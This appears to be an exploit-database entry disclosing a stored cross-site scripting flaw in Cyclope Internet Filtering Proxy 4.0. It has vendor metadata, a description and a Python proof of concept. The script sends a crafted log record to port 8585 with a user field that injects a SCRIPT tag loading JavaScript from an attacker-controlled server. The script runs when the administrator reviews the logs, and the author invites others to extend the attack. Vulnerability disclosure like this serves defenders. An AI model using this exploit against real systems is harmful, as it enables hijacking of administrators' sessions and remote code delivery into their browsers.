Cyclope Internet Filtering Proxy 4.0 - Stored XSS Vuln.

vendor:

Cyclope Internet Filtering Proxy

by:

loneferret

3.5

CVSS

MEDIUM

Stored XSS

CWE

Product Name: Cyclope Internet Filtering Proxy

Affected Version From: 4

Affected Version To: 4

Patch Exists: NO

Related CWE: N/A

CPE: a:cyclope_series:cyclope_internet_filtering_proxy

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3 Professional / Windows Server 2008 R2 Standard

2011

Cyclope Internet Filtering Proxy 4.0 – Stored XSS Vuln.

The Cyclope Internet Filtering Proxy is a white & black list website navigation filtering app. It will log all of the client's activities such as visited web sites, the time etc. There is an optional client application if the administrator wishes to acquire the computer name and user information. This XSS vulnerability is due to the fact that nothing is sanitized in the web-based management console. The whitelist and blacklist patterns, for example, are vulnerable. As well as computer name and user fields gathered via the logging port. This PoC takes advantage of the 'user' field (but also works with computer feild). One needs to send in the correct order: <user>USER</user><computer>COMPUTER</computer><ip>IP ADDY</ip> to the default log port 8585. None of these fileds are sanitized. So it's making this XSS a bit more interesing. Atacking machine doesn't need the Cyclope client app installed. Limited in what can be sent, a space will screw up any code you send. The HTML code   will usually fix that problem, as well as all the other HTML codes for quotes and so on. So we can remotely inserted our evil XSS, and have it executed when the administrator looks over the logs.

Mitigation:

Sanitize user input and filter out malicious code.

Source

Exploit-DB raw data:

#!/usr/bin/python

# Title: Cyclope Internet Filtering Proxy 4.0 - Stored XSS Vuln.
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
# Found by: loneferret
# Software link: http://www.cyclope-series.com/download/index.aspx?p=2
 
# Date Found: Oct 20th 2011
# Tested on: Windows XP SP3 Professional / Windows Server 2008 R2 Standard
# Tested with: Registered and Unregistered versions
# Nod to the Exploit-DB Team
  
# The Cyclope Internet Filtering Proxy is your basic white & black list website navigation filtering app.
# It will log all of the client's activities such as visited web sites, the time etc.
# There's an optional client application if the administrator wishes to acquire the computer name and user
# information.

# This XSS vulnerability is due to the fact that nothing is sanitized in the web-based management console.
# The whitelist and blacklist patterns, for example, are vulnerable. As well as computer name and user fields 
# gathered via the logging port.
# This PoC takes advantage of the "user" field (but also works with computer feild). One needs to send in the correct order:
# <user>USER</user><computer>COMPUTER</computer><ip>IP ADDY</ip>\n to the default log port 8585.
# None of these fileds are sanitized. So it's making this XSS a bit more interesing. 
# Atacking machine doesn't need the Cyclope client app installed.
# Limited in what can be sent, a space will screw up any code you send. The HTML code &nbsp; will usually fix that problem,
# as well as all the other HTML codes for quotes and so on.
# So we can remotely inserted our evil XSS, and have it executed when the administrator looks over the logs.

# As always, if anyone wants to take this PoC to the next level, be my guest.
# Have fun,
# loneferret

import struct
import socket

# Remember to enter a webserver with a js file
buffer = "<user><SCRIPT/SRC=http://xxx.xxx.xxx.xxx/xss.js></SCRIPT></user><computer>Windows</computer><ip>2.2.2.2</ip>\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "\nSending evil buffer..."
s.connect(('xxx.xxx.xxx.xxx',8585)) #Enter Cyclope server IP address
s.send(buffer)
s.close()
print "\nDone! "